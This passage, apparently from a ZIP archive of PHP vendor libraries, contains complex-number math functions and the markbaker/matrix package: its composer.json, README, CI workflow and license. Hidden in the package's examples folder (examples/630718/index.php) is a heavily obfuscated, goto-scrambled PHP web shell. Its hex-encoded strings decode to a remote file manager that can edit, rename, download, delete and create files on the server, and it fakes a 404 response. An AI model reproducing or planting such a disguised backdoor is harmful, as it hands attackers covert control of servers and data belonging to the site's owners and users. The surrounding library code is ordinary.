0.0) { throw new InvalidArgumentException('Division by zero'); } return $complex->divideInto(1.0); } /** * Returns the natural logarithm of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The natural logarithm of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws InvalidArgumentException If the real and the imaginary parts are both zero */ public static function ln($complex): Complex { $complex = Complex::validateComplexArgument($complex); if (($complex->getReal() == 0.0) && ($complex->getImaginary() == 0.0)) { throw new InvalidArgumentException(); } return new Complex( \log(self::rho($complex)), self::theta($complex), $complex->getSuffix() ); } /** * Returns the base-2 logarithm of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The base-2 logarithm of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws InvalidArgumentException If the real and the imaginary parts are both zero */ public static function log2($complex): Complex { $complex = Complex::validateComplexArgument($complex); if (($complex->getReal() == 0.0) && ($complex->getImaginary() == 0.0)) { throw new InvalidArgumentException(); } elseif (($complex->getReal() > 0.0) && ($complex->getImaginary() == 0.0)) { return new Complex(\log($complex->getReal(), 2), 0.0, $complex->getSuffix()); } return self::ln($complex) ->multiply(\log(Complex::EULER, 2)); } /** * Returns the common logarithm (base 10) of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The common logarithm (base 10) of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws InvalidArgumentException If the real and the imaginary parts are both zero */ public static function log10($complex): Complex { $complex = Complex::validateComplexArgument($complex); if (($complex->getReal() == 0.0) && ($complex->getImaginary() == 0.0)) { throw new InvalidArgumentException(); } elseif (($complex->getReal() > 0.0) && ($complex->getImaginary() == 0.0)) { return new Complex(\log10($complex->getReal()), 0.0, $complex->getSuffix()); } return self::ln($complex) ->multiply(\log10(Complex::EULER)); } /** * Returns the negative of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The negative value of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * * @see rho * */ public static function negative($complex): Complex { $complex = Complex::validateComplexArgument($complex); return new Complex( -1 * $complex->getReal(), -1 * $complex->getImaginary(), $complex->getSuffix() ); } /** * Returns a complex number raised to a power. * * @param Complex|mixed $complex Complex number or a numeric value. * @param float|integer $power The power to raise this value to * @return Complex The complex argument raised to the real power. * @throws Exception If the power argument isn't a valid real */ public static function pow($complex, $power): Complex { $complex = Complex::validateComplexArgument($complex); if (!is_numeric($power)) { throw new Exception('Power argument must be a real number'); } if ($complex->getImaginary() == 0.0 && $complex->getReal() >= 0.0) { return new Complex(\pow($complex->getReal(), $power)); } $rValue = \sqrt(($complex->getReal() * $complex->getReal()) + ($complex->getImaginary() * $complex->getImaginary())); $rPower = \pow($rValue, $power); $theta = $complex->argument() * $power; if ($theta == 0) { return new Complex(1); } return new Complex($rPower * \cos($theta), $rPower * \sin($theta), $complex->getSuffix()); } /** * Returns the rho of a complex number. * This is the distance/radius from the centrepoint to the representation of the number in polar coordinates. * * @param Complex|mixed $complex Complex number or a numeric value. * @return float The rho value of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function rho($complex): float { $complex = Complex::validateComplexArgument($complex); return \sqrt( ($complex->getReal() * $complex->getReal()) + ($complex->getImaginary() * $complex->getImaginary()) ); } /** * Returns the secant of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The secant of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function sec($complex): Complex { $complex = Complex::validateComplexArgument($complex); return self::inverse(self::cos($complex)); } /** * Returns the hyperbolic secant of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The hyperbolic secant of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function sech($complex): Complex { $complex = Complex::validateComplexArgument($complex); return self::inverse(self::cosh($complex)); } /** * Returns the sine of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The sine of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function sin($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->isReal()) { return new Complex(\sin($complex->getReal())); } return new Complex( \sin($complex->getReal()) * \cosh($complex->getImaginary()), \cos($complex->getReal()) * \sinh($complex->getImaginary()), $complex->getSuffix() ); } /** * Returns the hyperbolic sine of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The hyperbolic sine of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function sinh($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->isReal()) { return new Complex(\sinh($complex->getReal())); } return new Complex( \sinh($complex->getReal()) * \cos($complex->getImaginary()), \cosh($complex->getReal()) * \sin($complex->getImaginary()), $complex->getSuffix() ); } /** * Returns the square root of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The Square root of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function sqrt($complex): Complex { $complex = Complex::validateComplexArgument($complex); $theta = self::theta($complex); $delta1 = \cos($theta / 2); $delta2 = \sin($theta / 2); $rho = \sqrt(self::rho($complex)); return new Complex($delta1 * $rho, $delta2 * $rho, $complex->getSuffix()); } /** * Returns the tangent of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The tangent of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws InvalidArgumentException If function would result in a division by zero */ public static function tan($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->isReal()) { return new Complex(\tan($complex->getReal())); } $real = $complex->getReal(); $imaginary = $complex->getImaginary(); $divisor = 1 + \pow(\tan($real), 2) * \pow(\tanh($imaginary), 2); if ($divisor == 0.0) { throw new InvalidArgumentException('Division by zero'); } return new Complex( \pow(self::sech($imaginary)->getReal(), 2) * \tan($real) / $divisor, \pow(self::sec($real)->getReal(), 2) * \tanh($imaginary) / $divisor, $complex->getSuffix() ); } /** * Returns the hyperbolic tangent of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The hyperbolic tangent of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function tanh($complex): Complex { $complex = Complex::validateComplexArgument($complex); $real = $complex->getReal(); $imaginary = $complex->getImaginary(); $divisor = \cos($imaginary) * \cos($imaginary) + \sinh($real) * \sinh($real); if ($divisor == 0.0) { throw new InvalidArgumentException('Division by zero'); } return new Complex( \sinh($real) * \cosh($real) / $divisor, 0.5 * \sin(2 * $imaginary) / $divisor, $complex->getSuffix() ); } /** * Returns the theta of a complex number. * This is the angle in radians from the real axis to the representation of the number in polar coordinates. * * @param Complex|mixed $complex Complex number or a numeric value. * @return float The theta value of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function theta($complex): float { $complex = Complex::validateComplexArgument($complex); if ($complex->getReal() == 0.0) { if ($complex->isReal()) { return 0.0; } elseif ($complex->getImaginary() < 0.0) { return M_PI / -2; } return M_PI / 2; } elseif ($complex->getReal() > 0.0) { return \atan($complex->getImaginary() / $complex->getReal()); } elseif ($complex->getImaginary() < 0.0) { return -(M_PI - \atan(\abs($complex->getImaginary()) / \abs($complex->getReal()))); } return M_PI - \atan($complex->getImaginary() / \abs($complex->getReal())); } } PKZv}matrix/composer.jsonnu[{ "name": "markbaker/matrix", "type": "library", "description": "PHP Class for working with matrices", "keywords": ["matrix", "vector", "mathematics"], "homepage": "https://github.com/MarkBaker/PHPMatrix", "license": "MIT", "authors": [ { "name": "Mark Baker", "email": "mark@demon-angel.eu" } ], "require": { "php": "^7.1 || ^8.0" }, "require-dev": { "phpunit/phpunit": "^7.0 || ^8.0 || ^9.0", "phpdocumentor/phpdocumentor": "2.*", "phpmd/phpmd": "2.*", "sebastian/phpcpd": "^4.0", "phploc/phploc": "^4.0", "squizlabs/php_codesniffer": "^3.7", "phpcompatibility/php-compatibility": "^9.3", "dealerdirect/phpcodesniffer-composer-installer": "dev-master" }, "autoload": { "psr-4": { "Matrix\\": "classes/src/" } }, "autoload-dev": { "psr-4": { "MatrixTest\\": "unitTests/classes/src/" } }, "scripts": { "style": "phpcs --report-width=200 --standard=PSR2 --report=summary,full classes/src/ unitTests/classes/src -n", "test": "phpunit -c phpunit.xml.dist", "mess": "phpmd classes/src/ xml codesize,unusedcode,design,naming -n", "lines": "phploc classes/src/ -n", "cpd": "phpcpd classes/src/ -n", "versions": "phpcs --report-width=200 --standard=PHPCompatibility --report=summary,full classes/src/ --runtime-set testVersion 7.2- -n", "coverage": "phpunit -c phpunit.xml.dist --coverage-text --coverage-html ./build/coverage" }, "minimum-stability": "dev", "config": { "allow-plugins": { "dealerdirect/phpcodesniffer-composer-installer": true } } } PKZD8JJmatrix/phpstan.neonnu[parameters: ignoreErrors: - '#Property [A-Za-z\\]+::\$[A-Za-z]+ has no typehint specified#' - '#Method [A-Za-z\\]+::[A-Za-z]+\(\) has no return typehint specified#' - '#Method [A-Za-z\\]+::[A-Za-z]+\(\) has parameter \$[A-Za-z0-9]+ with no typehint specified#' checkMissingIterableValueType: false PKZȩccmatrix/README.mdnu[PHPMatrix ========== --- PHP Class for handling Matrices [![Build Status](https://github.com/MarkBaker/PHPMatrix/workflows/main/badge.svg)](https://github.com/MarkBaker/PHPMatrix/actions) [![Total Downloads](https://img.shields.io/packagist/dt/markbaker/matrix)](https://packagist.org/packages/markbaker/matrix) [![Latest Stable Version](https://img.shields.io/github/v/release/MarkBaker/PHPMatrix)](https://packagist.org/packages/markbaker/matrix) [![License](https://img.shields.io/github/license/MarkBaker/PHPMatrix)](https://packagist.org/packages/markbaker/matrix) [![Matrix Transform](https://imgs.xkcd.com/comics/matrix_transform.png)](https://xkcd.com/184/) Matrix Transform --- This library currently provides the following operations: - addition - direct sum - subtraction - multiplication - division (using [A].[B]-1) - division by - division into together with functions for - adjoint - antidiagonal - cofactors - determinant - diagonal - identity - inverse - minors - trace - transpose - solve Given Matrices A and B, calculate X for A.X = B and classes for - Decomposition - LU Decomposition with partial row pivoting, such that [P].[A] = [L].[U] and [A] = [P]|.[L].[U] - QR Decomposition such that [A] = [Q].[R] ## TO DO - power() function - Decomposition - Cholesky Decomposition - EigenValue Decomposition - EigenValues - EigenVectors --- # Installation ```shell composer require markbaker/matrix:^3.0 ``` # Important BC Note If you've previously been using procedural calls to functions and operations using this library, then from version 3.0 you should use [MarkBaker/PHPMatrixFunctions](https://github.com/MarkBaker/PHPMatrixFunctions) instead (available on packagist as [markbaker/matrix-functions](https://packagist.org/packages/markbaker/matrix-functions)). You'll need to replace `markbaker/matrix`in your `composer.json` file with the new library, but otherwise there should be no difference in the namespacing, or in the way that you have called the Matrix functions in the past, so no actual code changes are required. ```shell composer require markbaker/matrix-functions:^1.0 ``` You should not reference this library (`markbaker/matrix`) in your `composer.json`, composer wil take care of that for you. # Usage To create a new Matrix object, provide an array as the constructor argument ```php $grid = [ [16, 3, 2, 13], [ 5, 10, 11, 8], [ 9, 6, 7, 12], [ 4, 15, 14, 1], ]; $matrix = new Matrix\Matrix($grid); ``` The `Builder` class provides helper methods for creating specific matrices, specifically an identity matrix of a specified size; or a matrix of a specified dimensions, with every cell containing a set value. ```php $matrix = Matrix\Builder::createFilledMatrix(1, 5, 3); ``` Will create a matrix of 5 rows and 3 columns, filled with a `1` in every cell; while ```php $matrix = Matrix\Builder::createIdentityMatrix(3); ``` will create a 3x3 identity matrix. Matrix objects are immutable: whenever you call a method or pass a grid to a function that returns a matrix value, a new Matrix object will be returned, and the original will remain unchanged. This also allows you to chain multiple methods as you would for a fluent interface (as long as they are methods that will return a Matrix result). ## Performing Mathematical Operations To perform mathematical operations with Matrices, you can call the appropriate method against a matrix value, passing other values as arguments ```php $matrix1 = new Matrix\Matrix([ [2, 7, 6], [9, 5, 1], [4, 3, 8], ]); $matrix2 = new Matrix\Matrix([ [1, 2, 3], [4, 5, 6], [7, 8, 9], ]); var_dump($matrix1->multiply($matrix2)->toArray()); ``` or pass all values to the appropriate static method ```php $matrix1 = new Matrix\Matrix([ [2, 7, 6], [9, 5, 1], [4, 3, 8], ]); $matrix2 = new Matrix\Matrix([ [1, 2, 3], [4, 5, 6], [7, 8, 9], ]); var_dump(Matrix\Operations::multiply($matrix1, $matrix2)->toArray()); ``` You can pass in the arguments as Matrix objects, or as arrays. If you want to perform the same operation against multiple values (e.g. to add three or more matrices), then you can pass multiple arguments to any of the operations. ## Using functions When calling any of the available functions for a matrix value, you can either call the relevant method for the Matrix object ```php $grid = [ [16, 3, 2, 13], [ 5, 10, 11, 8], [ 9, 6, 7, 12], [ 4, 15, 14, 1], ]; $matrix = new Matrix\Matrix($grid); echo $matrix->trace(); ``` or you can call the static method, passing the Matrix object or array as an argument ```php $grid = [ [16, 3, 2, 13], [ 5, 10, 11, 8], [ 9, 6, 7, 12], [ 4, 15, 14, 1], ]; $matrix = new Matrix\Matrix($grid); echo Matrix\Functions::trace($matrix); ``` ```php $grid = [ [16, 3, 2, 13], [ 5, 10, 11, 8], [ 9, 6, 7, 12], [ 4, 15, 14, 1], ]; echo Matrix\Functions::trace($grid); ``` ## Decomposition The library also provides classes for matrix decomposition. You can access these using ```php $grid = [ [1, 2], [3, 4], ]; $matrix = new Matrix\Matrix($grid); $decomposition = new Matrix\Decomposition\QR($matrix); $Q = $decomposition->getQ(); $R = $decomposition->getR(); ``` or alternatively us the `Decomposition` factory, identifying which form of decomposition you want to use ```php $grid = [ [1, 2], [3, 4], ]; $matrix = new Matrix\Matrix($grid); $decomposition = Matrix\Decomposition\Decomposition::decomposition(Matrix\Decomposition\Decomposition::QR, $matrix); $Q = $decomposition->getQ(); $R = $decomposition->getR(); ``` PKZf>"matrix/.github/workflows/main.yamlnu[name: main on: [ push, pull_request ] jobs: test: runs-on: ubuntu-latest strategy: matrix: php-version: - '7.1' - '7.2' - '7.3' - '7.4' - '8.0' - '8.1' - '8.2' include: - php-version: 'nightly' experimental: true name: PHP ${{ matrix.php-version }} steps: - name: Checkout uses: actions/checkout@v3 - name: Setup PHP, with composer and extensions uses: shivammathur/setup-php@v2 with: php-version: ${{ matrix.php-version }} extensions: ctype, dom, gd, iconv, fileinfo, libxml, mbstring, simplexml, xml, xmlreader, xmlwriter, zip, zlib coverage: none - name: Get composer cache directory id: composer-cache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: Cache composer dependencies uses: actions/cache@v3 with: path: ${{ steps.composer-cache.outputs.dir }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} restore-keys: ${{ runner.os }}-composer- - name: Delete composer lock file id: composer-lock if: ${{ matrix.php-version == '8.0' || matrix.php-version == '8.1' || matrix.php-version == '8.2' || matrix.php-version == 'nightly' }} run: | rm composer.lock echo "::set-output name=flags::--ignore-platform-reqs" - name: Install dependencies run: composer update --no-progress --prefer-dist --optimize-autoloader ${{ steps.composer-lock.outputs.flags }} - name: Setup problem matchers for PHP run: echo "::add-matcher::${{ runner.tool_cache }}/php.json" - name: Setup problem matchers for PHPUnit run: echo "::add-matcher::${{ runner.tool_cache }}/phpunit.json" - name: Test with PHPUnit run: ./vendor/bin/phpunit phpcs: runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v3 - name: Setup PHP, with composer and extensions uses: shivammathur/setup-php@v2 with: php-version: 7.4 extensions: ctype, dom, gd, iconv, fileinfo, libxml, mbstring, simplexml, xml, xmlreader, xmlwriter, zip, zlib coverage: none tools: cs2pr - name: Get composer cache directory id: composer-cache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: Cache composer dependencies uses: actions/cache@v3 with: path: ${{ steps.composer-cache.outputs.dir }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} restore-keys: ${{ runner.os }}-composer- - name: Install dependencies run: composer install --no-progress --prefer-dist --optimize-autoloader - name: Code style with PHP_CodeSniffer run: ./vendor/bin/phpcs -q --report=checkstyle | cs2pr --graceful-warnings --colorize coverage: runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v3 - name: Setup PHP, with composer and extensions uses: shivammathur/setup-php@v2 with: php-version: 7.4 extensions: ctype, dom, gd, iconv, fileinfo, libxml, mbstring, simplexml, xml, xmlreader, xmlwriter, zip, zlib coverage: pcov - name: Get composer cache directory id: composer-cache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: Cache composer dependencies uses: actions/cache@v3 with: path: ${{ steps.composer-cache.outputs.dir }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} restore-keys: ${{ runner.os }}-composer- - name: Install dependencies run: composer install --no-progress --prefer-dist --optimize-autoloader - name: Coverage run: | ./vendor/bin/phpunit --coverage-text PKZBUUmatrix/license.mdnu[The MIT License (MIT) ===================== Copyright © `2018` `Mark Baker` Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.PKZ:"Umatrix/examples/test.phpnu[solve($target); echo 'X', PHP_EOL; var_export($X->toArray()); echo PHP_EOL; $resolve = $matrix->multiply($X); echo 'Resolve', PHP_EOL; var_export($resolve->toArray()); echo PHP_EOL; PKZF matrix/examples/630718/index.phpnu[ 1024 ? round($Sf5Wm / 1024, 2) . "\115\102" : $Sf5Wm . "\x4b\x42"; goto FICb5; uqVtf: echo "\40\x9\x9\x9\x9\11\74\164\x72\76\40\11\11\x9\x9\x9\11\74\x74\x64\76\x3c\141\40\150\x72\145\146\75\x22\77\160\75" . bCxVE($BOQbZ) . "\46\141\75" . bCxvE("\166\151\x65\167") . "\x26\x6e\x3d" . bCXVE($pJBKk) . "\x22\x20\x64\141\x74\x61\x2d\x74\157\147\147\154\145\x3d\42\164\x6f\157\154\164\151\x70\42\x20\144\141\164\x61\x2d\160\x6c\141\x63\x65\155\145\156\x74\75\x22\x61\165\x74\x6f\x22\x20\x74\x69\x74\x6c\x65\x3d\42\x4c\x61\164\145\163\164\40\x6d\x6f\144\151\x66\x79\x20\157\156\x20" . $DonJK[19]("\x59\55\x6d\x2d\144\40\110\72\151", $DonJK[20]("{$BOQbZ}\x2f{$pJBKk}")) . "\42\x3e\x3c\x69\40\x63\x6c\x61\163\x73\75\x22\146\141\40\x66\141\55\x66\x77\40\x66\141\55\x66\x69\x6c\145\x22\76\x3c\57\x69\x3e\40{$pJBKk}\74\57\x61\x3e\x3c\x2f\164\144\76\40\11\11\x9\x9\x9\x9\x3c\164\x64\76{$Sf5Wm}\74\57\164\x64\76\x20\11\11\x9\11\11\11\x3c\164\144\x3e\74\146\157\156\x74\x20\x63\157\154\157\162\x3d\x22" . ($DonJK[8]("{$BOQbZ}\x2f{$pJBKk}") ? "\x23\60\60\x66\146\60\60" : (!$DonJK[9]("{$BOQbZ}\57{$pJBKk}") ? "\162\x65\144" : null)) . "\42\x3e" . HOhLU("{$BOQbZ}\x2f{$pJBKk}") . "\74\57\146\157\156\x74\76\x3c\57\164\x64\76\40\11\11\11\11\x9\11\x3c\164\144\x3e\40\x9\x9\11\11\11\11\x9\74\144\x69\x76\x20\x63\x6c\x61\x73\163\75\x22\144\x2d\x66\154\145\170\40\x6a\165\163\164\x69\146\x79\x2d\143\157\x6e\x74\145\x6e\x74\55\x62\x65\164\167\145\145\156\x22\x3e\x20\11\x9\11\x9\11\x9\x9\11\x9\x3c\x61\x20\150\162\145\146\75\42\77\160\75" . BCxVE($BOQbZ) . "\x26\x61\x3d" . BCxvE("\x65\x64\x69\164") . "\46\156\x3d" . BCXVE($pJBKk) . "\x22\40\x64\141\x74\141\55\x74\x6f\147\147\154\x65\x3d\42\164\157\x6f\154\x74\x69\x70\42\x20\144\x61\164\141\55\160\154\x61\x63\x65\x6d\145\156\164\75\42\141\x75\164\157\x22\40\164\x69\x74\x6c\x65\75\x22\105\x64\x69\x74\x22\x3e\x3c\x69\x20\x63\154\141\163\163\75\42\146\x61\x20\x66\x61\x2d\x66\x77\40\x66\141\55\x65\144\x69\x74\x22\76\x3c\x2f\x69\76\74\57\x61\x3e\40\x9\11\x9\x9\11\11\x9\x9\11\74\141\40\x68\x72\x65\x66\75\x22\77\x70\75" . bCxve($BOQbZ) . "\46\x61\75" . BcxvE("\162\x65\x6e\x61\155\145") . "\46\x6e\x3d" . BcxvE($pJBKk) . "\46\x74\x3d\146\42\x20\144\x61\x74\x61\x2d\x74\x6f\147\x67\x6c\x65\75\x22\x74\157\x6f\154\x74\151\x70\x22\x20\144\141\x74\141\55\x70\154\x61\x63\x65\x6d\x65\x6e\164\x3d\42\x61\165\x74\x6f\x22\x20\164\151\x74\x6c\145\75\x22\x52\x65\156\141\155\x65\x22\76\74\x69\x20\x63\x6c\x61\x73\x73\x3d\x22\146\x61\x20\x66\x61\x2d\x66\167\40\146\x61\55\x70\x65\x6e\143\151\x6c\42\76\x3c\57\151\76\x3c\x2f\141\x3e\x20\x9\11\11\x9\11\x9\11\11\x9\74\x61\40\x68\x72\145\146\75\x22\77\x70\x3d" . BcXVE($BOQbZ) . "\46\x6e\75" . BCxvE($pJBKk) . "\x26\144\x6f\x77\156\154\157\141\x64" . "\42\x20\144\x61\164\141\x2d\164\x6f\147\x67\154\x65\75\42\164\157\x6f\154\164\x69\160\x22\x20\144\141\x74\x61\55\x70\x6c\141\143\145\x6d\x65\x6e\164\75\x22\141\x75\164\x6f\42\40\164\x69\x74\x6c\x65\x3d\x22\x44\x6f\167\156\154\157\141\x64\x22\x3e\x3c\151\x20\x63\154\x61\163\163\x3d\x22\146\x61\x20\146\141\55\x66\167\x20\146\x61\x2d\x64\157\167\156\x6c\x6f\141\x64\x22\76\74\57\151\76\x3c\x2f\141\76\40\11\x9\11\11\x9\11\x9\11\11\x3c\x61\40\150\162\x65\x66\75\x22\77\160\x3d" . bcxvE($BOQbZ) . "\46\x61\x3d" . bcXve("\144\x65\154\145\164\x65") . "\x26\x6e\75" . bCxve($pJBKk) . "\x22\40\x63\x6c\x61\163\x73\x3d\42\144\145\x6c\145\x74\x65\x22\x20\144\x61\x74\x61\55\x74\171\160\145\75\x22\x66\x69\154\x65\42\x20\x64\141\x74\x61\55\x74\157\147\x67\154\x65\x3d\x22\x74\x6f\157\154\x74\x69\160\x22\x20\x64\x61\x74\x61\x2d\x70\154\x61\143\x65\155\145\156\164\x3d\x22\x61\165\x74\x6f\x22\40\164\151\x74\x6c\145\x3d\x22\104\145\x6c\x65\x74\145\42\x3e\x3c\151\40\x63\x6c\x61\x73\163\x3d\x22\x66\x61\40\146\x61\55\x66\167\40\x66\x61\55\164\162\x61\x73\150\42\x3e\74\x2f\x69\76\x3c\57\x61\76\x20\11\x9\11\x9\x9\11\11\x3c\57\144\x69\166\x3e\40\11\11\x9\x9\x9\11\74\x2f\164\x64\x3e\x20\11\x9\x9\11\11\74\57\164\x72\x3e\x20\11\x9\11\11\x9"; goto vqSNU; K6G7C: } goto k48NH; WolUa: qIJbx: goto xDefo; b6kcz: goto lJOel; goto Ryhjw; BcG3n: echo "\x20\x9\11\x9\x3c\x68\x35\40\x63\154\x61\x73\x73\75\x22\142\x6f\x72\x64\145\x72\x20\160\x2d\x31\40\x6d\x62\x2d\63\42\x3e\x45\x64\x69\164\40\x66\151\x6c\145\x3c\57\x68\x35\76\x20\11\x9\11\74\163\x70\141\156\76\106\151\x6c\x65\40\156\x61\x6d\145\x20\x3a\40"; goto zW5_G; lSGEX: goto fXkNz; goto DYhaa; r_JVz: goto RvsuM; goto cYZgr; JxD1u: bwa4K: goto mwjr6; m2_pB: G2d2w: goto ITwaH; dh5hK: tI4jI: goto IbjV9; UE6zJ: goto pdcSF; goto lagm8; D6ruU: goto adMsW; goto ENMsf; vBhNi: goto aYd3P; goto NYUwk; bIH5V: echo $DonJK[18]($DonJK[14]($BOQbZ . "\x2f" . rxVHf($_GET["\156"]))); goto y7PUp; ZY9fe: NeuD5: goto sLpq4; ejhLP: wOb2g: goto QX7w7; oG1qr: http_response_code(404); goto AOnqs; R8LjC: echo W5RHT; goto yEvg6; ecbYp: GC7_o: goto T4gTL; miutE: KoiIr: goto FK_9P; lP5Lb: goto USz0o; goto OxriJ; zrww6: e7lPe: goto Q1szc; NdBRF: if ($_GET["\164"] == "\x66") { goto u_xpR; } goto CvFR_; RAFPu: Ku1ik: goto x9XdE; JSnk5: kvjTu: goto A_tXk; Wmr1Y: TsRG_($Sf1mu); goto VqQzJ; Q4few: goto StZgI; goto xlXD4; qipqc: if (isset($_GET["\141"])) { goto bJz4n; } goto FbNdM; F0p7U: V8VGm: goto F03jf; F03jf: goto IY8R8; goto y_xAQ; OcD6l: bmkZy: goto H9Lnz; jwAFC: Ieooc: goto caiFV; LIbvZ: q5zi2: goto s0yA8; aVTEa: goto cnBNQ; goto ZPv1y; uN6qr: nqpBr: goto idfjQ; WO8_H: echo "\x20\11\11\x9\x3c\150\x35\40\143\x6c\x61\x73\163\x3d\42\142\x6f\x72\x64\x65\162\x20\x70\55\61\x20\x6d\x62\x2d\63\42\x3e\116\145\167\40\x66\x69\154\145\x3c\57\x68\x35\x3e\x20\x9\x9\x9\x3c\x66\x6f\162\x6d\40\x6d\145\x74\150\x6f\144\x3d\x22\160\x6f\x73\x74\x22\x3e\x3c\144\x69\x76\x20\x63\x6c\x61\163\163\75\42\146\157\162\155\x2d\147\162\x6f\x75\160\x22\x3e\74\154\141\x62\x65\x6c\x20\146\x6f\162\75\42\156\42\76\x46\151\x6c\145\40\156\x61\x6d\145\40\72\74\x2f\154\x61\142\x65\x6c\x3e\74\x69\156\x70\x75\x74\x20\x74\x79\160\x65\x3d\42\164\145\x78\x74\42\x20\156\141\x6d\x65\75\x22\x6e\x22\40\x69\x64\x3d\42\156\42\40\x63\x6c\141\163\163\75\x22\146\157\162\x6d\x2d\x63\157\156\164\x72\157\x6c\x22\40\x70\154\x61\x63\x65\150\x6f\154\144\145\162\75\42\150\141\x63\x6b\x2e\164\170\x74\42\x3e\x3c\x2f\x64\151\166\x3e\x3c\144\x69\x76\x20\x63\154\x61\x73\x73\75\x22\x66\157\162\x6d\55\147\162\157\165\160\42\x3e\74\x6c\x61\142\145\x6c\40\x66\157\x72\x3d\42\143\164\156\x22\76\103\x6f\156\164\145\x6e\164\x20\x3a\x3c\57\x6c\141\x62\x65\x6c\76\x3c\x74\x65\170\164\141\x72\x65\x61\40\163\x74\171\x6c\145\x3d\x22\x72\x65\163\151\172\x65\x3a\156\157\x6e\145\x22\x20\156\x61\x6d\145\75\x22\x63\164\x6e\42\x20\151\144\x3d\x22\143\164\156\42\x20\143\x6f\154\x73\x3d\42\63\60\42\x20\162\x6f\x77\163\75\x22\61\x30\42\x20\143\154\141\163\x73\x3d\42\x66\157\x72\x6d\x2d\x63\157\x6e\x74\x72\157\x6c\42\x20\x70\154\x61\143\x65\150\x6f\x6c\x64\145\162\75\x22\x23\40\123\x74\x61\x6d\x70\145\144\x20\x42\171\40\115\x65\42\x3e\74\x2f\164\145\170\164\141\x72\x65\x61\76\74\57\x64\151\166\x3e\74\144\x69\166\x20\x63\x6c\141\163\x73\75\42\x66\x6f\162\155\55\147\x72\157\x75\160\42\76\74\x62\x75\x74\x74\157\x6e\x20\x74\x79\160\x65\75\x22\163\x75\142\x6d\x69\164\x22\40\156\x61\x6d\145\75\x22\163\42\x20\143\x6c\x61\163\163\x3d\x22\x62\x74\x6e\x20\142\164\x6e\x2d\157\x75\x74\x6c\x69\x6e\x65\55\154\151\147\150\164\40\x72\157\x75\156\144\x65\144\x2d\x30\42\76\103\x72\145\141\x74\x65\x3c\x2f\142\165\x74\164\x6f\x6e\76\x3c\x2f\x64\x69\x76\x3e\74\x2f\x66\x6f\162\155\x3e\x20\x9\x9\x9"; goto N62RK; yUcjK: goto bRzXv; goto o97XJ; e4uvY: B4yyq: goto mSly9; T0AeF: nlRUS: goto tVtk6; kpLEs: goto Mn1VN; goto bVLFg; YIw0F: goto fPTqi; goto RR6bz; Ve1Tz: ya9Za: goto DFu_K; pixAf: whEk3: goto OpeXD; BZy5Y: ugQUD: goto zInCZ; yj2VB: goto p6FaW; goto nGo_4; mIaBA: goto FXoRU; goto XeaYF; DYhaa: BbFCe: goto JSnk5; YFNSc: goto dFQzf; goto OXCBt; N53qs: goto Hkwuw; goto GdoW7; vdawz: JNGdj: goto lSTT3; DxR3P: echo "\40\x9\x9\11\x3c\x68\65\40\x63\x6c\141\x73\x73\75\42\x62\157\x72\x64\x65\x72\40\x70\x2d\x31\x20\x6d\x62\55\x33\42\x3e\x52\145\x6e\x61\155\145\40"; goto IuG3u; x9XdE: echo 